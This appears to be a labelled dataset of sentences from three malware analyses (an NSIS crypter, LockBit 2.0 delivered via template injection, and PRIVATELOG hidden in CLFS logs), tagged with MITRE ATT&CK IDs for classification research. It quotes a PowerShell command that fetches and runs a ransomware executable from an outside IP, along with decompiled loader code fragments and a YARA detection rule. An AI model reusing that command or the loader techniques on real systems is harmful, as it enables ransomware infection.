{"sentence": "Functions are always the same – dedicated to reading the file from the disk: CreateFileW, GetTempPathW, lstrcatW, ReadFile, VirtualAlloc, GetTempPathW.The function GetTempPathW is used to retrieve the path to the %TEMP% directory, where all the components from the archive were automatically extracted at runtime of the NSIS fileThe name of the next file is concatenated to the the %TEMP% pathMemory is allocated for the file content, and the file is read into this bufferA custom decryption algorithm is being applied on the buffer (the algorithm is different for different samples).", "labels": ["T1106", "T1140"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The buffer turns out to be a next shellcodeFinally, the next shellcode is executed The name of the next file is loaded as a stack-based wide string The hashing function used for import resolving follows the same pattern in both cases, yet the constant used to initialize it (denoted as HASH_INIT) is different across the samples.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "int __", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "stdcall", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "calc_hash(char", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "*name) { int next_chunk; int hash; for ( hash = HASH_INIT; ; hash = next_chunk + 33 * hash ) { next_chunk = *name++; if ( !next_chunk ) break; } return hash; } view raw nsis_calc_hash.cpp hosted with :red_heart: by GitHub The algorithm used for the buffer decryption differs across the samples.", "labels": ["T1027", "T1140"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The second shellcode revealed after the unpacking algorithm finished processing Shellcode #2 – functionality This shellcode is used for decrypting and loading the final payload (PE file) from the third of the encrypted files.", "labels": ["T1027", "T1140"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "It is unpacked and ran by the previous layer.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "In the analyzed cases, this element was around 7-8 KB.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "This shellcode is similarly structured as the previous one.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "It starts by preparation of the strings: stack-based strings are being pushed.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "One of them is the name of the next file that is going to be loaded.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Also, the key that will be used for the decryption is prepared.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The next step is loading of the imported functions.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The decryption function is custom, similar (but not identical) to RC4: void __stdcall decrypt_buf(BYTE *data, BYTE *key, unsigned int size) { BYTE key_stream[512]; int j; char next;", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "int i; int v6 = 0; int v4 = 0; for ( i = 0;", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "This algorithm is common to both analyzed samples – yet the decryption key differs.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Loading PE After the PE is decrypted, the function for its loading is deployed.", "labels": ["T1055", "T1140"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The payload is implanted into a newly created suspended process (a new instance of the current executable) using one of the most popular techniques of PE injection: Process Hollowing (a.k.a. RunPE).", "labels": ["T1055"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The content of the payload is mapped into the new process using low level APIs: NtCreateSection, NtMapViewOfSection.", "labels": ["T1106"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Then, the Entry Point is redirected to the new executable via SetThreadContext, and finally the execution is resumed with NtResumeThread.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The authors used several common techniques to obfuscate this process.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "As before, the used functions are loaded by their checksums.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The PE loading function makes a use of the following set: The low-level functions, directly related with performing the injection, are called via raw syscalls retrieved directly from NTDLL.", "labels": ["T1106"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Also in this case, functions has been resolved by their hashes.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "List of used functions (with corresponding hashes).", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "e0ddd5cb : NtMapViewOfSection 20b0f111 : NtResumeThread 81af6d4e : NtUnmapViewOfSection be530033 : NtWriteVirtualMemory The code used to resolve the hashes is available here: hash_resolver.cpp.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "In order to make the injection stealthier, the loader uses a common technique of “stealing syscalls”, also known as “hell’s gate”.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "This technique is based on the fact that some low-level DLLs, such as NTDLL, contain numbers of raw syscalls.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "By extracting the syscalls, and executing them manually, the malware can use the API of the operating system, without a need of calling functions from the DLL.", "labels": ["T1027", "T1106"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Firstly, a fresh copy of NTDLL is loaded from the file on the disk, an manually mapped.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "The syscall ID is returned for further use.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "However, a 32-bit application cannot make direct syscalls on 64-bit system, since it is not native.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "In such cases, syscalls are usually made via Wow64 emulation layer.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "In order to make them directly, the authors of the malware switch to the 64-bit mode first: using a technique called “Heaven’s Gate”.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Far return to the address prefixed with 0x33 segment – entering the 64-bit mode Once the execution mode is changed into 64 bit, the syscall is called, its results stored, and the application can switch back to 32-bit mode to continue normal execution.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "In this part of the analysis we will compare it with the earlier version from February of this year, described in the following writeup.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "In contrast to the current one, the version from February contained a malicious component in the form of a DLL.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "We can also find a second, encrypted component, which carries the payload.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "$INSTDIR File $INSTDIR\\o15bmldpqdxcin.dll File $INSTDIR\\emvmcmzr.n System::Call $INSTDIR\\o15bmldpqdxcin.dll::Gxkeoxkzs(w$\\\"$INSTDIR\\emvmcmzr.n$\\\") DetailPrint label StrCpy $0 9 IntOp $0 $0 + 4 Goto $0 DetailPrint done FunctionEnd In this case, the standard NSIS component (System.dll) is used to call the function exported from the DLL, passing the path to the encrypted component as a parameter.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Looking inside the exported function we can find a significant similarity to the Shellcode #1 which was described in the former part of this writeup.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "This time, the next stage is contained in a buffer hardcoded in the DLL (rather than stored in a separate file).", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "It contains a very similar function dedicated to decrypting and loading the final payload.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Yet, we can see some minor differences.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Their names are hashed, and compared to the hardcoded list of hashes (i.e. 0x26090612 -> “avgui.exe”).", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "This type of checks are among common evasion techniques.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Possibly it is a bug in the implementation, and the if statement was intended to be a while loop instead.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Apart from those details, this stage is identical to the Shellcode #2 from the newer version.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "This packer has been around for many years, and probably will stay with us for some years to come.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Usage of a popular installation engine makes it easy to blend in with legitimate applications.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "Appendix Other materials about previous versions of NSIS-based crypters: https://yoroi.company/research/yes-cyber-adversaries-are-still-using-formbook-in-2021/https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/https://news.sophos.com/en-us/2020/05/14/raticate/https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-families-use-nsis-installers-to-avoid-detection-analysis/https://www.microsoft.com/security/blog/2017/03/15/ransomware-operators-are-hiding-malware-deeper-in-installer-packages/https://isc.sans.edu/forums/diary/Quick+analysis+of+malware+created+with+NSIS/23703/ The post Revisiting the NSIS-based crypter appeared first on Malwarebytes Labs.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"}
{"sentence": "These tactics include distributing phishing emails containing malicious files, utilizing drive-by downloads, and exploiting vulnerabilities in the remote desktop protocol (RDP).", "labels": ["T1210", "T1566.001"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "As a result, LockBit has established itself as a prominent and active threat actor in the realm of ransomware.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The LockBit ransomware group utilizes a double extortion technique to enhance their likelihood of obtaining ransom payments from victims.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This technique encompasses multiple stages, including data encryption to render victim data inaccessible and threats to release stolen data on designated leak sites.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "By employing this approach, the group aims to exert significant pressure on victims, compelling them to comply with their demands and pay the ransom.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Notably, the group utilized the same template injection techniques to deliver their payload.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 1 – Lockbit’s Delivery Mechanism Technical Analysis For analysis purposes, we have taken a specific sample (sha256: 7391bbd59330e79f8ee4a01e5ed20df5ab183737f2b91f926b649facd8d2d278) which is a .docx file commonly known as Office Open XML (OOXML).", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "OOXML files are essentially packaged ZIP archives that consist of multiple XML files called parts.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "These parts contain various properties that collectively determine the document’s display and processing.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Within these parts, certain properties may reference shared public resources accessible through online URLs.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "It is also observed that the original filenames of the identified .docx samples were written in the Korean language.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The below image shows the malicious document.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 2 – malicious document Upon opening the malicious document, it attempts to establish a connection with the remote server to retrieve the subsequent component of the attack.", "labels": ["T1105", "T1204.002"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This process involves multiple stages of execution.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This enables the document to fetch the .dotm file from the remote server required for further actions.", "labels": ["T1105"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This technique employed by the attackers aligns with CVE-2017-0199.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 3 – Extracted content of docx file The below figure displays the contents of the settings.xml.rels file, highlighting the inclusion of a malicious URL and the presence of the Target mode within the settings.xml.rels file.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 4 – settings.xml.rels file content Once a successful connection to the remote server is established, a malicious template file is downloaded and executed.", "labels": ["T1105"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The downloaded template file contains an obfuscated VBA macro.", "labels": ["T1027"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "TAs have opted for this technique due to its ability to bypass detection mechanisms.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 5 – De-obfuscated macro content The VBA script incorporates a PowerShell command mentioned below to trigger the retrieval of the final stage payload, which is an executable file named “tinytask.exe” from the remote server.", "labels": ["T1105"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "“cmd /c powershell/W 01 curl hxxp://91[.]107[.]210[.]207/tinytask.exe -o C:\\Users\\Public\\456trytgre3e45yrthtgr.exe; C:\\Users\\Public\\456trytgre3e45yrthtgr.exe” The downloaded payload is Lockbit ransomware 2.0.", "labels": ["T1059.003"], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "These actions include encrypting files with .lockbit extension, modifying Windows automatic backups by deleting shadow copies using vssadmin.exe, disabling startup repairs using the bcdedit tool, and more.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The below figure shows the encrypted files with the .lockbit extension.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 6 – Encrypted files & Extensions Additionally, the ransomware leaves a ransom note that provides detailed instructions for making the required payment, as shown in the below figure.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Figure 7 – Lockbit’s Ransom note We recommend referring to our previous blog post to comprehensively examine LockBit 2.0 and Lockbit 3.0 ransomware.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "This shift in behavior has caught us off guard, making it difficult to predict the motives behind this change.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Therefore, users must remain vigilant and adopt robust security measures to protect against potential Lockbit ransomware attacks.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Cyble Research & Intelligence Labs continuously monitor ransomware campaigns and will keep updating our readers with the latest information.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "We recommend that our readers follow the best practices given below: Safety Measures Needed to Prevent Ransomware Attacks Conduct regular backup practices and keep those backups offline or in a separate network.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Users Should Take the Following Steps After the Ransomware Attack Detach infected devices on the same network.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Disconnect external storage devices if connected.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Inspect system logs for suspicious events.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Impact of Ransomware Loss of Valuable data.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Loss of the organization’s reputation and integrity.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Loss of the organization’s sensitive business information.", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name ExecutionT1059 T1204Command and Scripting Interpreter User ExecutionDiscoveryT1082 T1083System Information Discovery File and Directory DiscoveryDefense EvasionT1070Delete shadow drive dataImpactT1486 T1490 Data encrypted for impact Inhibit System RecoveryCommand and controlT1071Application Layer ProtocolIndicators of Compromise (IOCs)", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "Indicators Indicator Type Description 7391bbd59330e79f8ee4a01e5ed20df5ab183737f2b91f926b649facd8d2d278 462e39e554bd3abb9ecdcec92d861b315f1efb77 2831b37cf521848142e8a5d69515b065Sha256 Sha1 Md5Malicious docx filed833c23bad7b1988832524bce8a6355c97d031bb3852f671e52fdf9024bd6ec0 32a155dbb9652dd88ae41044e342c1ef92f7e6f2 5e7b650a6e0070bceed648681bff20feSha256 Sha1 Md5Malicious docx file78db865edcf1bcd27b765c458ef1675233b11947dfceef7c45fdd254ae514a3f 2a6df9fa510af4d3e7fde1002ad54c5576abbc07 9a1cac28f716d2e660f2bd6297cd560bSha256 Sha1 Md5 Malicious .dotm file8022060ef633e157518037122a6003813cc0a3066d456a1164275a211efc8f5c 32a155dbb9652dd88ae41044e342c1ef92f7e6f2 5e7b650a6e0070bceed648681bff20fe Sha256 Sha1 Md5 Lockbit ransomwarehxxp://91[.]107[.]210[.]207/tinytask[.]exe hxxp://91[.]107[.]210[.]207/b66ssc[.]dotmURLS", "labels": [], "doc_title": " LockBit Ransomware 20 Resurfaces"}
{"sentence": "The Mandiant Advanced Practices team recently discovered a new malware family we have named PRIVATELOG and its installer, STASHLOG.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "In this post, we will share a novel and especially interesting technique the samples use to hide data, along with detailed analysis of both files that was performed with the support of FLARE analysts.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Mandiant has yet to observe PRIVATELOG or STASHLOG in any customer environments or to recover any second-stage payloads launched by PRIVATELOG.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This may indicate malware that is still in development, the work of a researcher, or targeted activity.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "CLFS and Transaction Files PRIVATELOG and STASHLOG rely on the Common Log File System (CLFS) to hide a second stage payload in registry transaction files.", "labels": ["T1112"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It provides applications with API functions—available in clfsw32.dll—to create, store and read log data.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This is similar in nature to malware which may rely, for example, on the Windows Registry or NTFS Extended Attributes to hide their data, which also provide locations to store and retrieve binary data with the Windows API.", "labels": ["T1106", "T1112"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "In Microsoft Windows, CLFS is notably used by the Kernel Transaction Manager (KTM) for both Transactional NTFS (TxF) and Transactional Registry (TxR) operations.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "These allow applications to perform a number of changes on the filesystem or registry, all grouped in a single transaction that can be committed or rolled back.", "labels": ["T1112"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Registry transactions are stored in dedicated files with the following naming scheme: <hive><GUID>.TMContainer<number>.regtrans-ms or <hive><GUID>.TxR.<number>.regtrans-ms.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "These are CLFS containers that are referenced in a master .blf", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "file that only contains metadata and can be found in various locations including user profile directories.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The CLFS master and container file formats are mostly undocumented; however, previous research is available on GitHub.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Figure 1: Sample string deobfuscation for \"PrintNotify\" Interestingly, some of the deobfuscated strings from the installer are used for logging error messages and have spelling errors or typos such as: Log index=%d, data border exceed bounday.\\n Interal data hash mismatch.\\n Log buffer size=%u too small, expect aleast %u bytes.\\n Introducing STASHLOG In addition to containing obfuscated strings, the installer’s code is protected using various control flow obfuscation techniques that make static analysis cumbersome.", "labels": ["T1027", "T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Figure 2 is a graph overview of the installer’s main() function demonstrating the effects of the control flow obfuscation.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Figure 2: Graph view of main() STASHLOG has two different modes of operation: Without any arguments, during which it will prepare the environment With a single argument, which is a file that should be hidden in a CLFS file Preparing the Environment Executed without arguments, the installer prints two values to the console: The GUID returned from the registry value of HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGUID A 56-byte value derived from a randomly generated GUID with CoCreateGUID() Figure 3: Sample console output The 56-byte value is a concatenation of the random GUID, its SHA1 hash, and the SHA1 hash of the previous values.", "labels": ["T1012", "T1564.001"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "So: GUID+sha1(GUID)+sha1(GUID+sha1(GUID)).", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The randomly generated GUID is stored as a string in the GlobalAtom table, prefixed with win::.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Stashing the Payload When launched with an argument, the installer opens and decrypts the contents of the file passed as an argument.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It verifies that the file is suffixed by its SHA1 hash, and then generates the same 56-byte value using the stored GlobalAtom GUID string in memory.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The 56-byte value is SHA1 hashed again and the first 16-bytes form the initialization vector (IV), while the key is the 16-byte MachineGUID value from the host’s registry.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The number of blocks, specified at offset 16, must be between 2 and 5.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The malware also checks that the operating system version is within a lower and upper boundary and that the SHA1 hash of the decrypted data matches the payload header value at offset 20.", "labels": ["T1027", "T1082", "T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Following the payload header, the malware expects blocks of encrypted data with 8-byte headers.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Each block header has the following structure: struct blockHeader { DWORD magic; DWORD blockSize; } Once the malware has checked and validated the structure of the payload, it searches for .blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.", "labels": ["T1083"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "In practice, the malware should typically find the file used for registry transaction logs: C:\\Users\\Default\\NTUSER.DAT<GUID>.TM.blf If a matching .blf file is indeed found, it is opened with the CreateLogFile() API from clfsw32.dll.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This function opens CLFS logs and expects a file name in the following format, without the .blf extension: log:<LogName>[::<LogStreamName>] The log file is reset using the CloseAndResetLogFile() function and will be opened again to insert the data.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Before inserting data into the CLFS log file, the malware decrypts each block using HC-128.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Each block is then re-encrypted with the new key material as follows: The encryption key is the 16-byte GUID from GetVolumeNameForVolumeMountPointW().", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The payload header is written to the log file as the first entry, followed by separate entries for each block.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The data is effectively stored in the first container file for the registry transaction log: C:\\Users\\Default\\NTUSER.DAT<GUID>.TMContainer00000000000000000001.regtrans-ms.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It contains exports, which mimic those of legitimate prntvpt.dll files, although the exports have no functionality.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "PRIVATELOG expects to be loaded from PrintConfig.dll, which is the main DLL of a service named PrintNotify, via DLL search order hijacking.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The malicious code is executed at the DLL’s entry point.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It starts by verifying the command-line arguments of the process it is running in and expects to be running under svchost.exe -k print.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This function is patched using Microsoft Detours—a publicly available library used for instrumenting Win32 functions—so that the execution flow appears to happen in the legitimate service DLL.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The patched ServiceMain function is where PRIVATELOG executes most of its functionality.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Similarly to STASHLOG, PRIVATELOG starts by enumerating *.blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.", "labels": ["T1083"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The malware expects to find specific entries which match our analysis of the installer.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "PRIVATELOG expects the first log entry to have the following format:", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "A size greater than 40 (payload header size)", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This value equals the size of the payload which will be decrypted.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Once the expected log entry is found, its contents are decrypted using the HC-128 encryption algorithm.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The decryption key and IV are generated using the same unique host properties that were used by STASHLOG.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It is worth noting that PRIVATELOG only decrypts the first matching block and that at least 2 to 5 blocks are expected to be inserted by STASHLOG.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The injection process is similar to Phantom DLL hollowing and is described as follows: Open a transacted handle to a copied file via the API CreateFileTransactedA()", "labels": ["T1055", "T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "In the sample analyzed by Mandiant, the file used for the transaction is a copy of the legitimate binary C:\\Windows\\System32\\dbghelp.dll, which is copied to C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\dbghelp.dll.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Overwrite the transacted file with the decrypted payload contents Create a section backed by the transacted file with SEC_IMAGE attributes via the API NtCreateSection() Map a view of the newly created section This implicitly loads the transacted file data to some degree.", "labels": ["T1106", "T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Rules to detect CLFS containers matching PRIVATELOG structures or containing encrypted data are also provided.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "These rules should be tested thoroughly before they are run in a production environment.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "import \"math\" import \"pe\" rule HUNTING_Win_PRIVATELOG_CLFS { meta: author = \"adrien.bataille@mandiant.com\" description = \"This rule looks for CLFS containers containing possible data used by PRIVATELOG.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "As this rule may loop on file content, preferably use on regtrans-ms files only or with caution.\"", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0 // always 0 and uint32(16) == 1 // always 1 and uint32(20) == 0 // always 0 and uint32(40)", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x70 // size of record header // size of data at least 0x28 for first record and uint32(0x70+0x18) - 0x28 >= 0x28 // payloadHeader.numblocks (payloadHeader at 0x70+uint16(0x70+0x22)) and (uint16(0x70+uint16(0x70+0x22)+0x10) == 0x2 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x3 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x4 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x5) // this is a size, assume it is less than our filesize and uint32(0x70+uint16(0x70+0x22)+0xC) < filesize // confirm malware using 2 different methods and ( // look for hardcoded magic in first log record uint32(0x70+uint16(0x70+0x22))", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x00686365 or // loop through each possible sector to look for a blockheader struct for any i in (0 .. (filesize \\ 512) - 1): ( // look for record header, num sectors and size of record uint16(i*512)==0x0015 and uint16(i*512+4) == uint16(i*512+6) and uint16(i*512+4) !", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
